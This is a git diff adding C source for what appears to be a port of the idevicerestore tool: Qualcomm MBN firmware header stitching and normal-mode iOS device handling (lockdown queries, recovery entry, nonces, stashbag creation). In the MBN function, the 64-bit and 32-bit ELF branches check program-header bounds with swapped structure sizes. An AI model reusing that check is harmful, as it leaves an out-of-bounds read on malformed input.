+{
+ if (!data) {
+ logger(LL_ERROR, "%s: data is NULL\n", __func__);
+ return NULL;
+ }
+
+ if (!data_size) {
+ logger(LL_ERROR, "%s: data size is 0\n", __func__);
+ return NULL;
+ }
+
+ if (!blob) {
+ logger(LL_ERROR, "%s: blob is NULL\n", __func__);
+ return NULL;
+ }
+
+ if (!blob_size) {
+ logger(LL_ERROR, "%s: blob size is 0\n", __func__);
+ return NULL;
+ }
+
+ if (!mbn_is_valid_elf(data, data_size)) {
+ logger(LL_ERROR, "%s: data is not a valid ELF\n", __func__);
+ return NULL;
+ }
+
+ if (sizeof(mbn_v7_header) > blob_size) {
+ logger(LL_ERROR, "%s: header is bigger than blob\n", __func__);
+ return NULL;
+ }
+
+ const mbn_v7_header* src_header = blob;
+ mbn_v7_log_header(src_header, __func__, "src");
+
+ if (src_header->version != 7) {
+ logger(LL_ERROR, "%s: src header version (0x%x) is incorrect\n", __func__, src_header->version);
+ return NULL;
+ }
+
+ // NOTE: Apple does weird stuff, in this case blob is smaller than
+ // the sizes the header reports, so we can't check their validity.
+ if (!mbn_v7_header_sizes_expected(src_header)) {
+ logger(LL_WARNING, "%s: header sizes in header are unexpected (qti_metadata_size=0x%x, oem_metadata_size=0x%x, oem_signature_size=0x%x, oem_certificate_chain_size=0x%x)\n", __func__, src_header->qti_metadata_size, src_header->oem_metadata_size, src_header->oem_signature_size, src_header->oem_certificate_chain_size);
+ }
+
+ off_t sect_off;
+ size_t sect_size;
+ if (mbn_is_64bit_elf(data)) {
+ const elf64_header* ehdr = data;
+ const elf64_pheader* phdr = data + ehdr->e_phoff;
+ if (ehdr->e_phnum == 0) {
+ logger(LL_ERROR, "%s: ELF has no program sections\n", __func__);
+ return NULL;
+ }
+ if ((ehdr->e_phoff + ehdr->e_phnum * sizeof(elf32_pheader)) > data_size) {
+ logger(LL_ERROR, "%s: Last ELF program section is out of bounds\n", __func__);
+ return NULL;
+ }
+ sect_off = phdr[ehdr->e_phnum-1].p_offset;
+ sect_size = phdr[ehdr->e_phnum-1].p_filesz;
+ } else {
+ const elf32_header* ehdr = data;
+ const elf32_pheader* phdr = data + ehdr->e_phoff;
+ if (ehdr->e_phnum == 0) {
+ logger(LL_ERROR, "%s: ELF has no program sections\n", __func__);
+ return NULL;
+ }
+ if ((ehdr->e_phoff + ehdr->e_phnum * sizeof(elf64_pheader)) > data_size) {
+ logger(LL_ERROR, "%s: Last ELF program section is out of bounds\n", __func__);
+ return NULL;
+ }
+ sect_off = phdr[ehdr->e_phnum-1].p_offset;
+ sect_size = phdr[ehdr->e_phnum-1].p_filesz;
+ }
+
+ if (sect_off == 0) {
+ logger(LL_ERROR, "%s: section has 0 offset\n", __func__);
+ return NULL;
+ }
+
+ if (sect_size == 0) {
+ logger(LL_ERROR, "%s: section has 0 size\n", __func__);
+ return NULL;
+ }
+
+ if (sect_off + sect_size > data_size) {
+ logger(LL_ERROR, "%s: section (0x%lx+0x%zx) is bigger than the data\n", __func__, (unsigned long)sect_off, sect_size);
+ return NULL;
+ }
+
+ if (sizeof(mbn_v7_header) > sect_size) {
+ logger(LL_ERROR, "%s: dest header is bigger than the section (0x%zx)\n", __func__, sect_size);
+ return NULL;
+ }
+
+ const mbn_v7_header* header = data + sect_off;
+ mbn_v7_log_header(header, __func__, "dest");
+ if (header->version != 7) {
+ logger(LL_ERROR, "%s: dest header version (0x%x) is incorrect\n", __func__, header->version);
+ return NULL;
+ }
+
+ if (!mbn_v7_header_sizes_valid(header, sect_size)) {
+ logger(LL_ERROR, "%s: sizes in dest header are invalid (common_metadata_size=0x%x, qti_metadata_size=0x%x, oem_metadata_size=0x%x, hash_table_size=0x%x, qti_signature_size=0x%x, qti_certificate_chain_size=0x%x, oem_signature_size=0x%x, oem_certificate_chain_size=0x%x)\n", __func__, header->common_metadata_size, header->qti_metadata_size, header->oem_metadata_size, header->hash_table_size, header->qti_signature_size, header->qti_certificate_chain_size, header->oem_signature_size, header->oem_certificate_chain_size);
+ return NULL;
+ }
+
+ if (!mbn_v7_header_sizes_expected(header)) {
+ logger(LL_WARNING, "%s: header sizes in dest header are unexpected (qti_metadata_size=0x%x, oem_metadata_size=0x%x, oem_signature_size=0x%x, oem_certificate_chain_size=0x%x)\n", __func__, header->qti_metadata_size, header->oem_metadata_size, header->oem_signature_size, header->oem_certificate_chain_size);
+ }
+
+ size_t new_metadata_size =
+ sizeof(*src_header) + src_header->common_metadata_size +
+ src_header->qti_metadata_size + src_header->oem_metadata_size;
+ size_t new_metadata_and_hash_table_size =
+ new_metadata_size + src_header->hash_table_size;
+ size_t new_oem_sig_and_cert_chain_size =
+ src_header->oem_signature_size + src_header->oem_certificate_chain_size;
+ off_t new_oem_sig_and_cert_chain_off = new_metadata_and_hash_table_size +
+ header->qti_signature_size + header->qti_certificate_chain_size;
+
+ if (new_metadata_and_hash_table_size > blob_size) {
+ logger(LL_ERROR, "%s: new metadata (0x%zx) and hash table (0x%x) are bigger than the source (0x%zx)\n", __func__, new_metadata_size, src_header->hash_table_size, blob_size);
+ return NULL;
+ }
+
+ if (new_metadata_and_hash_table_size > sect_size) {
+ logger(LL_ERROR, "%s: new metadata (0x%zx) and hash table (0x%x) are bigger than the destination (0x%zx)\n", __func__, new_metadata_size, src_header->hash_table_size, sect_size);
+ return NULL;
+ }
+
+ if (new_metadata_and_hash_table_size + new_oem_sig_and_cert_chain_size > blob_size) {
+ logger(LL_ERROR, "%s: new OEM signature and certificate chain are bigger than the source\n", __func__);
+ return NULL;
+ }
+
+ if (new_oem_sig_and_cert_chain_off + new_oem_sig_and_cert_chain_size > sect_size) {
+ logger(LL_ERROR, "%s: new OEM signature and certificate chain are outside the bounds of the destination\n", __func__);
+ return NULL;
+ }
+
+ unsigned char* buf = malloc(data_size);
+ if (buf == NULL) {
+ logger(LL_ERROR, "out of memory\n");
+ return NULL;
+ }
+
+ memcpy(buf, data, data_size);
+ logger(LL_DEBUG, "%s: stitching mbn at 0x%lx (0x%zx bytes)\n", __func__, (unsigned long)sect_off, new_metadata_and_hash_table_size);
+ memcpy(buf + sect_off, blob, new_metadata_and_hash_table_size);
+ logger(LL_DEBUG, "%s: stitching mbn at 0x%lx (0x%zx bytes)\n", __func__, (unsigned long)(sect_off + new_oem_sig_and_cert_chain_off), new_oem_sig_and_cert_chain_size);
+ memcpy(buf + sect_off + new_oem_sig_and_cert_chain_off, blob + new_metadata_and_hash_table_size, new_oem_sig_and_cert_chain_size);
+
+ return buf;
+}
diff --git a/sources/MobileRestoreCore/mbn.h b/sources/MobileRestoreCore/mbn.h
new file mode 100644
index 00000000..ff447978
--- /dev/null
+++ b/sources/MobileRestoreCore/mbn.h
@@ -0,0 +1,30 @@
+/*
+ * mbn.h
+ * support for Qualcomm MBN (Modem Binary) formats
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2025 Visual Ehrmanntraut <[email protected]>. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifndef MBN_H
+#define MBN_H
+
+#include <stdint.h>
+
+void* mbn_stitch(const void* data, size_t data_size, const void* blob, size_t blob_size);
+void* mbn_mav25_stitch(const void* data, size_t data_size, const void* blob, size_t blob_size);
+
+#endif
diff --git a/sources/MobileRestoreCore/normal.c b/sources/MobileRestoreCore/normal.c
new file mode 100644
index 00000000..7d689e1d
--- /dev/null
+++ b/sources/MobileRestoreCore/normal.c
@@ -0,0 +1,632 @@
+/*
+ * normal.h
+ * Functions for handling idevices in normal mode
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <libirecovery.h>
+#include <libimobiledevice/libimobiledevice.h>
+#include <libimobiledevice/lockdown.h>
+#include <libimobiledevice/preboard.h>
+#include <usbmuxd.h>
+
+#include "common.h"
+#include "normal.h"
+#include "recovery.h"
+
+static int normal_idevice_new(struct idevicerestore_client_t* client, idevice_t* device)
+{
+ int num_devices = 0;
+ char **devices = NULL;
+ idevice_t dev = NULL;
+ idevice_error_t device_error;
+ lockdownd_client_t lockdown = NULL;
+ plist_t node = NULL;
+
+ *device = NULL;
+
+ if (client->udid) {
+ device_error = idevice_new(&dev, client->udid);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't open device with UDID %s\n", __func__, client->udid);
+ return -1;
+ }
+
+ if (lockdownd_client_new(dev, &lockdown, "idevicerestore") != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "%s: can't connect to lockdownd on device with UDID %s\n", __func__, client->udid);
+ return -1;
+
+ }
+ char* type = NULL;
+ if (lockdownd_query_type(lockdown, &type) != LOCKDOWN_E_SUCCESS) {
+ return -1;
+ }
+ if (strcmp(type, "com.apple.mobile.lockdown") != 0) {
+ free(type);
+ return -1;
+ }
+ free(type);
+ if (lockdownd_get_value(lockdown, NULL, "UniqueChipID", &node) == LOCKDOWN_E_SUCCESS) {
+ plist_get_uint_val(node, &client->ecid);
+ plist_free(node);
+ }
+ lockdownd_client_free(lockdown);
+ lockdown = NULL;
+
+ *device = dev;
+ return 0;
+ }
+
+ idevice_get_device_list(&devices, &num_devices);
+ if (num_devices == 0) {
+ return -1;
+ }
+ int j;
+ for (j = 0; j < num_devices; j++) {
+ if (lockdown != NULL) {
+ lockdownd_client_free(lockdown);
+ lockdown = NULL;
+ }
+ if (dev != NULL) {
+ idevice_free(dev);
+ dev = NULL;
+ }
+ device_error = idevice_new(&dev, devices[j]);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_DEBUG, "%s: can't open device with UDID %s\n", __func__, devices[j]);
+ continue;
+ }
+
+ if (lockdownd_client_new(dev, &lockdown, "idevicerestore") != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "%s: can't connect to lockdownd on device with UDID %s\n", __func__, devices[j]);
+ continue;
+
+ }
+ char* type = NULL;
+ if (lockdownd_query_type(lockdown, &type) != LOCKDOWN_E_SUCCESS) {
+ continue;
+ }
+ if (strcmp(type, "com.apple.mobile.lockdown") != 0) {
+ free(type);
+ continue;
+ }
+ free(type);
+
+ node = NULL;
+ if ((lockdownd_get_value(lockdown, NULL, "UniqueChipID", &node) != LOCKDOWN_E_SUCCESS) || !node || (plist_get_node_type(node) != PLIST_UINT)){
+ if (node) {
+ plist_free(node);
+ }
+ continue;
+ }
+ lockdownd_client_free(lockdown);
+ lockdown = NULL;
+
+ uint64_t this_ecid = 0;
+ plist_get_uint_val(node, &this_ecid);
+ plist_free(node);
+
+ if (client->ecid != 0) {
+ if (this_ecid != client->ecid) {
+ continue;
+ }
+ } else {
+ client->ecid = this_ecid;
+ }
+ client->udid = strdup(devices[j]);
+ *device = dev;
+ break;
+ }
+ idevice_device_list_free(devices);
+
+ return 0;
+}
+
+int normal_check_mode(struct idevicerestore_client_t* client)
+{
+ idevice_t device = NULL;
+
+ normal_idevice_new(client, &device);
+ if (!device) {
+ return -1;
+ }
+ idevice_free(device);
+
+ return 0;
+}
+
+irecv_device_t normal_get_irecv_device(struct idevicerestore_client_t* client)
+{
+ idevice_t device = NULL;
+ lockdownd_client_t lockdown = NULL;
+ lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS;
+ irecv_device_t irecv_device = NULL;
+
+ normal_idevice_new(client, &device);
+ if (!device) {
+ return NULL;
+ }
+
+ lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore");
+ if (!(client->flags & FLAG_ERASE) && lockdown_error == LOCKDOWN_E_PAIRING_DIALOG_RESPONSE_PENDING) {
+ show_banner("Device is not paired with this computer. Please trust this computer on the device to continue.\n");
+ while (!(client->flags & FLAG_QUIT)) {
+ lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore");
+ if (lockdown_error != LOCKDOWN_E_PAIRING_DIALOG_RESPONSE_PENDING) {
+ break;
+ }
+ sleep(1);
+ }
+ hide_banner();
+ if (client->flags & FLAG_QUIT) {
+ return NULL;
+ }
+ }
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore");
+ }
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ idevice_free(device);
+ return NULL;
+ }
+
+ plist_t pval = NULL;
+ lockdownd_get_value(lockdown, NULL, "HardwareModel", &pval);
+ if (pval && (plist_get_node_type(pval) == PLIST_STRING)) {
+ char *strval = NULL;
+ plist_get_string_val(pval, &strval);
+ if (strval) {
+ irecv_devices_get_device_by_hardware_model(strval, &irecv_device);
+ free(strval);
+ }
+ }
+ plist_free(pval);
+
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+
+ return irecv_device;
+}
+
+int normal_enter_recovery(struct idevicerestore_client_t* client)
+{
+ idevice_t device = NULL;
+ lockdownd_client_t lockdown = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS;
+
+ device_error = idevice_new(&device, client->udid);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to find device\n");
+ return -1;
+ }
+
+ lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore");
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to lockdownd: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error);
+ idevice_free(device);
+ return -1;
+ }
+
+ lockdown_error = lockdownd_enter_recovery(lockdown);
+ if (lockdown_error == LOCKDOWN_E_SESSION_INACTIVE) {
+ lockdownd_client_free(lockdown);
+ lockdown = NULL;
+ if (LOCKDOWN_E_SUCCESS != (lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"))) {
+ logger(LL_ERROR, "Could not connect to lockdownd: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error);
+ idevice_free(device);
+ return -1;
+ }
+ lockdown_error = lockdownd_enter_recovery(lockdown);
+ }
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to place device in recovery mode: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error);
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ return -1;
+ }
+
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ lockdown = NULL;
+ device = NULL;
+
+ mutex_lock(&client->device_event_mutex);
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000);
+ if (client->mode == MODE_NORMAL || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Failed to place device in recovery mode\n");
+ return -1;
+ }
+
+ logger(LL_DEBUG, "Waiting for device to connect in recovery mode...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000);
+ if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Failed to enter recovery mode\n");
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+
+ if (recovery_client_new(client) < 0) {
+ logger(LL_ERROR, "Unable to enter recovery mode\n");
+ return -1;
+ }
+
+ /* remove pair record for given device */
+ usbmuxd_delete_pair_record(client->udid);
+
+ return 0;
+}
+
+plist_t normal_get_lockdown_value(struct idevicerestore_client_t* client, const char* domain, const char* key)
+{
+ idevice_t device = NULL;
+ plist_t node = NULL;
+ lockdownd_client_t lockdown = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS;
+
+ device_error = idevice_new(&device, client->udid);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to device?!\n");
+ return NULL;
+ }
+
+ lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore");
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to lockdownd\n");
+ idevice_free(device);
+ return NULL;
+ }
+
+ lockdown_error = lockdownd_get_value(lockdown, domain, key, &node);
+ if (lockdown_error != LOCKDOWN_E_SUCCESS) {
+ logger(LL_DEBUG, "ERROR: Unable to get %s-%s from lockdownd\n", domain, key);
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ return NULL;
+ }
+
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ lockdown = NULL;
+ device = NULL;
+
+ return node;
+}
+
+static int normal_get_nonce_by_key(struct idevicerestore_client_t* client, const char* key, unsigned char** nonce, unsigned int* nonce_size)
+{
+ plist_t nonce_node = normal_get_lockdown_value(client, NULL, key);
+
+ if (!nonce_node || plist_get_node_type(nonce_node) != PLIST_DATA) {
+ logger(LL_ERROR, "Unable to get %s\n", key);
+ return -1;
+ }
+
+ uint64_t n_size = 0;
+ plist_get_data_val(nonce_node, (char**)nonce, &n_size);
+ *nonce_size = (unsigned int)n_size;
+ plist_free(nonce_node);
+
+ return 0;
+}
+
+int normal_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ plist_t node = normal_get_lockdown_value(client, NULL, "ApParameters");
+ if (PLIST_IS_DICT(node)) {
+ plist_t nonce_node = plist_dict_get_item(node, "SepNonce");
+ if (nonce_node) {
+ uint64_t n_size = 0;
+ plist_get_data_val(nonce_node, (char**)nonce, &n_size);
+ *nonce_size = (unsigned int)n_size;
+ plist_free(node);
+ return 0;
+ }
+ }
+ plist_free(node);
+ return normal_get_nonce_by_key(client, "SEPNonce", nonce, nonce_size);
+}
+
+int normal_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ return normal_get_nonce_by_key(client, "ApNonce", nonce, nonce_size);
+}
+
+int normal_is_image4_supported(struct idevicerestore_client_t* client)
+{
+ plist_t node = normal_get_lockdown_value(client, NULL, "Image4Supported");
+
+ if (!node || plist_get_node_type(node) != PLIST_BOOLEAN) {
+ return 0;
+ }
+
+ uint8_t bval = 0;
+ plist_get_bool_val(node, &bval);
+ plist_free(node);
+
+ return bval;
+}
+
+int normal_get_firmware_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info)
+{
+ uint8_t has_telephony_capability = 0;
+ plist_t node;
+
+ node = normal_get_lockdown_value(client, NULL, "TelephonyCapability");
+ plist_get_bool_val(node, &has_telephony_capability);
+ plist_free(node);
+
+ if (has_telephony_capability) {
+ node = normal_get_lockdown_value(client, NULL, "FirmwarePreflightInfo");
+ if (!node || plist_get_node_type(node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to get FirmwarePreflightInfo\n");
+ return -1;
+ }
+ *preflight_info = node;
+ } else {
+ logger(LL_DEBUG, "Device does not have TelephonyCapability, no FirmwarePreflightInfo\n");
+ *preflight_info = NULL;
+ }
+
+ return 0;
+}
+
+int normal_get_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info)
+{
+ plist_t node = normal_get_lockdown_value(client, NULL, "PreflightInfo");
+ if (PLIST_IS_DICT(node)) {
+ *preflight_info = node;
+ } else {
+ logger(LL_DEBUG, "No PreflightInfo available.\n");
+ *preflight_info = NULL;
+ }
+ return 0;
+}
+
+int normal_handle_create_stashbag(struct idevicerestore_client_t* client, plist_t manifest)
+{
+ int result = -1;
+
+ idevice_t device = NULL;
+ idevice_error_t device_err;
+ lockdownd_client_t lockdown;
+ lockdownd_service_descriptor_t service = NULL;
+ lockdownd_error_t lerr;
+ preboard_client_t preboard = NULL;
+ preboard_error_t perr;
+
+ device_err = idevice_new(&device, client->udid);
+ if (device_err != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to device (%d)\n", device_err);
+ return -1;
+ }
+
+ lerr = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore");
+ if (lerr == LOCKDOWN_E_PASSWORD_PROTECTED) {
+ logger(LL_ERROR, "Device is locked. Unlock device and try again.\n");
+ idevice_free(device);
+ return -1;
+ }
+ if (lerr != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to lockdownd (%d)\n", lerr);
+ idevice_free(device);
+ return -1;
+ }
+
+ lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service);
+ if (lerr == LOCKDOWN_E_PASSWORD_PROTECTED) {
+ show_banner("Device is locked. Please unlock the device to continue.\n");
+ while (1) {
+ lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service);
+ if (lerr != LOCKDOWN_E_PASSWORD_PROTECTED) {
+ break;
+ }
+ sleep(1);
+ }
+ }
+
+ if (lerr != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Could not start preboard service (%d)\n", lerr);
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ return -1;
+ }
+
+ perr = preboard_client_new(device, service, &preboard);
+ lockdownd_service_descriptor_free(service);
+ lockdownd_client_free(lockdown);
+ if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to preboard service (%d)\n", perr);
+ idevice_free(device);
+ return -1;
+ }
+
+ perr = preboard_create_stashbag(preboard, manifest, NULL, NULL);
+ if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "Failed to trigger stashbag creation (%d)\n", perr);
+ preboard_client_free(preboard);
+ idevice_free(device);
+ return -1;
+ }
+
+ int ticks = 0;
+ while (ticks++ < 130 && !(client->flags & FLAG_QUIT)) {
+ plist_t pl = NULL;
+ perr = preboard_receive_with_timeout(preboard, &pl, 1000);
+ if (perr == PREBOARD_E_TIMEOUT) {
+ continue;
+ } else if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "could not receive from preboard service\n");
+ break;
+ } else {
+ plist_t node;
+
+ if (plist_dict_get_bool(pl, "Skip")) {
+ result = 0;
+ logger(LL_INFO, "Device does not require stashbag.\n");
+ break;
+ }
+
+ if (plist_dict_get_bool(pl, "ShowDialog")) {
+ logger(LL_INFO, "Device requires stashbag.\n");
+ show_banner(
+ "Please enter your passcode on the device. The device will store a token\n"
+ "that will be used after restore to access the user data partition. This\n"
+ "prevents an 'Attempting data recovery' process occurring after reboot that\n"
+ "may take a long time to complete and will _also_ require the passcode."
+ );
+ plist_free(pl);
+ continue;
+ }
+ node = plist_dict_get_item(pl, "Error");
+ if (node) {
+ char *strval = NULL;
+ node = plist_dict_get_item(pl, "ErrorString");
+ if (node) {
+ plist_get_string_val(node, &strval);
+ }
+ logger(LL_ERROR, "Could not create stashbag: %s\n", (strval) ? strval : "(Unknown error)");
+ free(strval);
+ plist_free(pl);
+ break;
+ }
+ if (plist_dict_get_bool(pl, "Timeout")) {
+ logger(LL_ERROR, "Timeout while waiting for user to enter passcode.\n");
+ result = -2;
+ plist_free(pl);
+ break;
+ }
+ if (plist_dict_get_bool(pl, "HideDialog")) {
+ plist_free(pl);
+ /* hide dialog */
+ result = 1;
+ logger(LL_INFO, "Stashbag created.\n");
+ break;
+ }
+ }
+ plist_free(pl);
+ }
+
+ hide_banner();
+
+ preboard_client_free(preboard);
+ idevice_free(device);
+
+ return result;
+}
+
+int normal_handle_commit_stashbag(struct idevicerestore_client_t* client, plist_t manifest)
+{
+ int result = -1;
+
+ idevice_t device = NULL;
+ idevice_error_t device_err;
+ lockdownd_client_t lockdown;
+ lockdownd_service_descriptor_t service = NULL;
+ lockdownd_error_t lerr;
+ preboard_client_t preboard = NULL;
+ preboard_error_t perr;
+ plist_t pl = NULL;
+
+ device_err = idevice_new(&device, client->udid);
+ if (device_err != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to device (%d)\n", device_err);
+ return -1;
+ }
+
+ lerr = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore");
+ if (lerr != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to lockdownd (%d)\n", lerr);
+ idevice_free(device);
+ return -1;
+ }
+
+ lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service);
+ if (lerr == LOCKDOWN_E_PASSWORD_PROTECTED) {
+ show_banner("Device is locked. Please unlock the device to continue.\n");
+ while (1) {
+ lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service);
+ if (lerr != LOCKDOWN_E_PASSWORD_PROTECTED) {
+ break;
+ }
+ sleep(1);
+ }
+ hide_banner();
+ }
+
+ if (lerr != LOCKDOWN_E_SUCCESS) {
+ logger(LL_ERROR, "Could not start preboard service (%d)\n", lerr);
+ lockdownd_client_free(lockdown);
+ idevice_free(device);
+ return -1;
+ }
+
+ perr = preboard_client_new(device, service, &preboard);
+ lockdownd_service_descriptor_free(service);
+ lockdownd_client_free(lockdown);
+ if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "Could not connect to preboard service (%d)\n", perr);
+ idevice_free(device);
+ return -1;
+ }
+
+ perr = preboard_commit_stashbag(preboard, manifest, NULL, NULL);
+ if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "Failed to trigger stashbag creation (%d)\n", perr);
+ preboard_client_free(preboard);
+ idevice_free(device);
+ return -1;
+ }
+
+ perr = preboard_receive_with_timeout(preboard, &pl, 30000);
+ if (perr != PREBOARD_E_SUCCESS) {
+ logger(LL_ERROR, "could not receive from preboard service (%d)\n", perr);
+ } else {
+ plist_t node = plist_dict_get_item(pl, "Error");
+ if (node) {
+ char *strval = NULL;
+ node = plist_dict_get_item(pl, "ErrorString");
+ if (node) {
+ plist_get_string_val(node, &strval);
+ }
+ logger(LL_ERROR, "Could not commit stashbag: %s\n", (strval) ? strval : "(Unknown error)");
+ free(strval);
+ } else if (plist_dict_get_bool(pl, "StashbagCommitComplete")) {
+ logger(LL_INFO, "Stashbag committed!\n");
+ result = 0;
+ } else {
+ logger(LL_ERROR, "Unexpected reply from preboard service\n");
+ logger_dump_plist(LL_VERBOSE, pl, 1);
+ }
+ plist_free(pl);
+ }
+ preboard_client_free(preboard);
+ idevice_free(device);
+
+ return result;
+}
diff --git a/sources/MobileRestoreCore/normal.h b/sources/MobileRestoreCore/normal.h
new file mode 100644
index 00000000..d3d7b0cd
--- /dev/null
+++ b/sources/MobileRestoreCore/normal.h
@@ -0,0 +1,51 @@
+/*
+ * normal.h
+ * Functions for handling idevices in normal mode
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_NORMAL_H
+#define IDEVICERESTORE_NORMAL_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+#include <libimobiledevice/lockdown.h>
+#include <libimobiledevice/libimobiledevice.h>
+
+int normal_check_mode(struct idevicerestore_client_t* client);
+irecv_device_t normal_get_irecv_device(struct idevicerestore_client_t* client);
+int normal_enter_recovery(struct idevicerestore_client_t* client);
+int normal_is_image4_supported(struct idevicerestore_client_t* client);
+int normal_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int normal_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int normal_get_firmware_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info);
+int normal_get_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info);
+plist_t normal_get_lockdown_value(struct idevicerestore_client_t* client, const char* domain, const char* key);
+int normal_handle_create_stashbag(struct idevicerestore_client_t* client, plist_t manifest);
+int normal_handle_commit_stashbag(struct idevicerestore_client_t* client, plist_t manifest);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
